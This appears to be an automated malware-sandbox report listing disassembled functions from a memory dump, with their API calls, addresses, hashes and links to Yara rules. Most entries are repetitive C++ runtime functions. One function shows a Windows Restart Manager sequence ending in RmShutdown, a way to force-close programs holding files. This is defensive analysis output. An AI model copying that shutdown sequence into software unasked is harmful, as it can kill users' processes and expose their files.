Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileWrite__fassign$Console
String ID:
API String ID: 3692784241-0
Opcode ID: 920870c211263ca9726647e3f9ea692dc7667b138555d61d7045f1284b02b879
Instruction ID: a3da463e38112d57eb2bc8600f5a405e2a6a3637406fc3c1fa5aaa5e9460d4c5
Opcode Fuzzy Hash: 920870c211263ca9726647e3f9ea692dc7667b138555d61d7045f1284b02b879
Instruction Fuzzy Hash: FA51A275E10249AFCF10CFA8D885AEEBBF8FF09310F1485AAE555E7291D6309E41CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00ABF350, Relevance: 9.2, APIs: 6, Instructions: 153COMMON

Download Yara Rule

APIs

std::ios_base::good.LIBCPMTD ref: 00ABF384
RmStartSession.RSTRTMGR(FFFFFFFF,00000000,?,?,?,80D348A2), ref: 00ABF3B5
RmRegisterResources.RSTRTMGR(FFFFFFFF,00000001,?,00000000,00000000,00000000,00000000,?,?,80D348A2), ref: 00ABF3E0
RmGetList.RSTRTMGR(FFFFFFFF,00000000,00000000,00000000,00000000,?,?,80D348A2), ref: 00ABF42C
RmShutdown.RSTRTMGR(FFFFFFFF,00000000,00000000,?,?,?,80D348A2), ref: 00ABF4F8
RmEndSession.RSTRTMGR(000000FF,?,?,?,80D348A2), ref: 00ABF549

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Session$ListRegisterResourcesShutdownStartstd::ios_base::good
String ID:
API String ID: 2978075718-0
Opcode ID: 2885e8ef9e7777dc9e469c93a78e48266319ac2ba1ebaf946ea9f7d656b06f79
Instruction ID: 0637febbf1c8d07ea493bf7c6e942ac64159be4603f8f7c314e0d7e8b2a88d86
Opcode Fuzzy Hash: 2885e8ef9e7777dc9e469c93a78e48266319ac2ba1ebaf946ea9f7d656b06f79
Instruction Fuzzy Hash: 0161F5B1D003089FDB24CFA4DD45BEEBBB8BB44304F64822AE529AB281DB759945CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00AAF640, Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

Concurrency::task_options::get_scheduler.LIBCPMTD ref: 00AAF696

Part of subcall function 00AA4830: Concurrency::scheduler_ptr::scheduler_ptr.LIBCPMTD ref: 00AA4847

Concurrency::task_options::get_cancellation_token.LIBCPMTD ref: 00AAF6A9

Part of subcall function 00AA47F0: Concurrency::cancellation_token_source::cancellation_token_source.LIBCPMTD ref: 00AA480A

Concurrency::cancellation_token::_GetImplValue.LIBCPMTD ref: 00AAF6BE

Part of subcall function 00AA7250: Concurrency::scheduler_ptr::scheduler_ptr.LIBCPMTD ref: 00AA728B
Part of subcall function 00AA7250: _Task_ptr.LIBCPMTD ref: 00AA7298
Part of subcall function 00AA7250: shared_ptr.LIBCMTD ref: 00AA72B0
Part of subcall function 00AA7250: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AA72B8
Part of subcall function 00AA7250: shared_ptr.LIBCPMTD ref: 00AA72D3

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AAF6D7

Part of subcall function 00AA3A60: Concurrency::cancellation_token::_Clear.LIBCPMTD ref: 00AA3A89

Concurrency::details::_TaskCreationCallstack::_TaskCreationCallstack.LIBCPMTD ref: 00AAF702
task.LIBCPMTD ref: 00AAF761

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::cancellation_token::_Concurrency::scheduler_ptr::scheduler_ptrContainer_base12Container_base12::~_CreationTaskshared_ptrstd::_$CallstackCallstack::_ClearConcurrency::cancellation_token_source::cancellation_token_sourceConcurrency::details::_Concurrency::task_options::get_cancellation_tokenConcurrency::task_options::get_schedulerImplTask_ptrValuetask
String ID:
API String ID: 894463372-0
Opcode ID: fe9957dbcb6a3ef88f8a28d0101d330de90de3ca2fc3d650b6e1912ab9c1dde9
Instruction ID: a19253edbf5507d14ca430061f8c8d51011db22b40be51d81700531fd4e0b08e
Opcode Fuzzy Hash: fe9957dbcb6a3ef88f8a28d0101d330de90de3ca2fc3d650b6e1912ab9c1dde9
Instruction Fuzzy Hash: DA512CB1D00248EFCB04DFE8DA52AEEBBB5AF49310F108129F515AB381DB755B04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AA3860, Relevance: 9.1, APIs: 6, Instructions: 107COMMON

Download Yara Rule

APIs

Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 00AA3899

Part of subcall function 00AA7C20: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7C34

List.LIBCMTD ref: 00AA38AB
SafeRWList.LIBCONCRTD ref: 00AA38EB

Part of subcall function 00AA2C10: _Subatomic.LIBCPMTD ref: 00AA2C1E

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: List$Concurrency::details::_CriticalLock::_Mutex_baseMutex_base::~_ReentrantSafeScoped_lockScoped_lock::_Subatomicstd::_
String ID:
API String ID: 1017585337-0
Opcode ID: 1475e1ea75cebb93184a66885a90790b09c7459e024e7f281562d38879dddb8e
Instruction ID: d509bf10019878f9e827dfd2011b86ac34aa1b305588c2db596b0655e677027e
Opcode Fuzzy Hash: 1475e1ea75cebb93184a66885a90790b09c7459e024e7f281562d38879dddb8e
Instruction Fuzzy Hash: 8C418F71900208ABCF04EFA8CD61BEFB7B4AF56315F10812AF4126B2C1DB759A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00AAF470, Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

DName::DName.LIBCMTD ref: 00AAF48F
DName::DName.LIBCMTD ref: 00AAF4B5

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: NameName::
String ID:
API String ID: 1333004437-0
Opcode ID: 608c3a7b421e474ff4d85be7711e61d0f25e8b69364ceb2d413caffc7309a66e
Instruction ID: 4ad951c7881708a97d25012f05215232b2f6b3b8c7ee6c3289ad3571cd81ed14
Opcode Fuzzy Hash: 608c3a7b421e474ff4d85be7711e61d0f25e8b69364ceb2d413caffc7309a66e
Instruction Fuzzy Hash: 16319C75D00209EFCB48DFA4D9919EEBBF5BF49300F14816AE51AAB391D730AA41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00AF392C, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00AF3923,00AF1486,00AC207A,00000008,00AC239F,00000008,?,?,?,00AA1443,?,00000008,80D348A2), ref: 00AF393A
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00AF3948
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00AF3961
SetLastError.KERNEL32(00000000,?,00AF3923,00AF1486,00AC207A,00000008,00AC239F,00000008,?,?,?,00AA1443,?,00000008,80D348A2), ref: 00AF39B3

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 24bea78d01fc2f5249da75848005b794ab42a98859e328adb848fe52a93d75c8
Instruction ID: a327cef47622e5991ed36caa681053621f6a1de97e79145ee001e95e052b39ff
Opcode Fuzzy Hash: 24bea78d01fc2f5249da75848005b794ab42a98859e328adb848fe52a93d75c8
Instruction Fuzzy Hash: 0901B1331096196FAB3527F9EED597B2654FB467747200229F720922E1EFD14E016240

Uniqueness

Uniqueness Score: -1.00%

Function 00ACA0FB, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00ACA102
std::_Lockit::_Lockit.LIBCPMT ref: 00ACA10C

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00ACA12C
std::_Facet_Register.LIBCPMT ref: 00ACA15D
std::_Lockit::~_Lockit.LIBCPMT ref: 00ACA17D
__CxxThrowException@8.LIBVCRUNTIME ref: 00ACA19B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: e75fbd1601d5f605d8784b9533221f394eb967233456c13dae7c97dbba00de14
Instruction ID: 1b9bc36787a5be8960bf6d8de3deda3523d7ca90c284d6ac53ad7fb66a047bd0
Opcode Fuzzy Hash: e75fbd1601d5f605d8784b9533221f394eb967233456c13dae7c97dbba00de14
Instruction Fuzzy Hash: DB11CE7690061C9BCF00EBA4C986FFDB7B5AF54310F1A040DF412AB2A2DF709A01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00ACA055, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00ACA05C
std::_Lockit::_Lockit.LIBCPMT ref: 00ACA066

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00ACA086
std::_Facet_Register.LIBCPMT ref: 00ACA0B7
std::_Lockit::~_Lockit.LIBCPMT ref: 00ACA0D7
__CxxThrowException@8.LIBVCRUNTIME ref: 00ACA0F5

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 8d0a937ada70ab4bb2c6352238731005837291d048a64eafc9b3b8f11b87d13a
Instruction ID: fcd9d3145aaebe194081b4033678274b1c80389b78a752d06987eef98303e514
Opcode Fuzzy Hash: 8d0a937ada70ab4bb2c6352238731005837291d048a64eafc9b3b8f11b87d13a
Instruction Fuzzy Hash: E711E0769006188BCF00EBA4D946FFDB3B4AF54354F16440DF5216B292DF759E01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD6467, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AD646E
std::_Lockit::_Lockit.LIBCPMT ref: 00AD6478

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AD6498
std::_Facet_Register.LIBCPMT ref: 00AD64C9
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD64E9
__CxxThrowException@8.LIBVCRUNTIME ref: 00AD6507

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 0c08c63bdc02c146f87c79fbc4d8c349553a09762785d6cc50a780b090c8bb3a
Instruction ID: 3e41433b67a07691ab3ba78ae902691f7d2983db549ea67f24273d73e0c0b7d7
Opcode Fuzzy Hash: 0c08c63bdc02c146f87c79fbc4d8c349553a09762785d6cc50a780b090c8bb3a
Instruction Fuzzy Hash: 8711E5769006198BCF15EBA4CA45EEEB7B5BF84320F15440EF82267392DF749E01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD650D, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AD6514
std::_Lockit::_Lockit.LIBCPMT ref: 00AD651E

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AD653E
std::_Facet_Register.LIBCPMT ref: 00AD656F
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD658F
__CxxThrowException@8.LIBVCRUNTIME ref: 00AD65AD

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 00288603ae43750aa6c7eeb9cea867f56feb3a57f13f9804c0596348c306e4bc
Instruction ID: d8773f852c4368841b5b6fe26bc88151fc39857f76e216a54b384534c2f0b50d
Opcode Fuzzy Hash: 00288603ae43750aa6c7eeb9cea867f56feb3a57f13f9804c0596348c306e4bc
Instruction Fuzzy Hash: AC11CE769006198BCF05EBA4D946BEDB7B5BF84310F19440EF822AB392DF749E41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD67A5, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AD67AC
std::_Lockit::_Lockit.LIBCPMT ref: 00AD67B6

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AD67D6
std::_Facet_Register.LIBCPMT ref: 00AD6807
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD6827
__CxxThrowException@8.LIBVCRUNTIME ref: 00AD6845

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 281d9494d95ed454990ca7a691f3f27decaa4899d59ea71670d1f1dddaebba44
Instruction ID: e1690afd25538de74ee1d0b7d6a5cfe35eaf91b802fbc9a7df94ad21f52de2d8
Opcode Fuzzy Hash: 281d9494d95ed454990ca7a691f3f27decaa4899d59ea71670d1f1dddaebba44
Instruction Fuzzy Hash: 2E11C2769006198BCF04EBA4D946AEDB7B5BF54310F25440EF822AB392DF749A05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC95F5, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC95FC
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9606

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9626
std::_Facet_Register.LIBCPMT ref: 00AC9657
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9677
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9695

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 8f5c3bb094f1ce6b50e3b38a86a7c7110ea0ebe15ff5d3dbcbebf13a5e3e9310
Instruction ID: e5c78ced6ec14a751fe3b14280d64977a5fbcd24630e10712b6ce85bf80d975d
Opcode Fuzzy Hash: 8f5c3bb094f1ce6b50e3b38a86a7c7110ea0ebe15ff5d3dbcbebf13a5e3e9310
Instruction Fuzzy Hash: C011CE76900618CBCF00EBA4C94AFEEB3B5AF94310F16040DF422AB292DF709A01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AC969B, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC96A2
std::_Lockit::_Lockit.LIBCPMT ref: 00AC96AC

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC96CC
std::_Facet_Register.LIBCPMT ref: 00AC96FD
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC971D
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC973B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 80fb1422dfbbd88d427f11acaa89a85500982ebce1934e260ea6f5300ec90873
Instruction ID: 52f87d92ca7d9ab38e8a30e828b4ea5d1bb633bcebdb363c76ebd38b79438fd1
Opcode Fuzzy Hash: 80fb1422dfbbd88d427f11acaa89a85500982ebce1934e260ea6f5300ec90873
Instruction Fuzzy Hash: 0A11E0369006288BCF05EFA4C946FEEB3B5BF44310F16440DF421AB292DF709A01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AC3671, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC3678
std::_Lockit::_Lockit.LIBCPMT ref: 00AC3682

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC36A2
std::_Facet_Register.LIBCPMT ref: 00AC36D3
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC36F3
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC3711

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: b3cebfc9beb0edaaa29714ce9db376de2379b10aebfc009a6d4fe9bc4ee925b2
Instruction ID: bdf7a94db766acbdcdfd5b6dde95d803c4b30192af008d4d982170a42ffde374
Opcode Fuzzy Hash: b3cebfc9beb0edaaa29714ce9db376de2379b10aebfc009a6d4fe9bc4ee925b2
Instruction Fuzzy Hash: 0F119E779005199BCF04EBA4C946FEEB7B5AF84310F16840DF82167392DF749A01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AC97E7, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC97EE
std::_Lockit::_Lockit.LIBCPMT ref: 00AC97F8

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9818
std::_Facet_Register.LIBCPMT ref: 00AC9849
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9869
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9887

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: e7a0cb8621e088fd0f15e19edddea0ef1b8cc24371f5d21ee0a1297399a20aae
Instruction ID: 90c88e4a4b674c6c6fbe5e42b096cce25e6b03c0725ce01296e0d1e246f2eaa7
Opcode Fuzzy Hash: e7a0cb8621e088fd0f15e19edddea0ef1b8cc24371f5d21ee0a1297399a20aae
Instruction Fuzzy Hash: DC11E036900529CBCF05EBA4CA46FEEB3B5AF44310F16440DF412AB292DF749A05C791

Uniqueness

Uniqueness Score: -1.00%

Function 00AC3717, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC371E
std::_Lockit::_Lockit.LIBCPMT ref: 00AC3728

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC3748
std::_Facet_Register.LIBCPMT ref: 00AC3779
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC3799
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC37B7

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
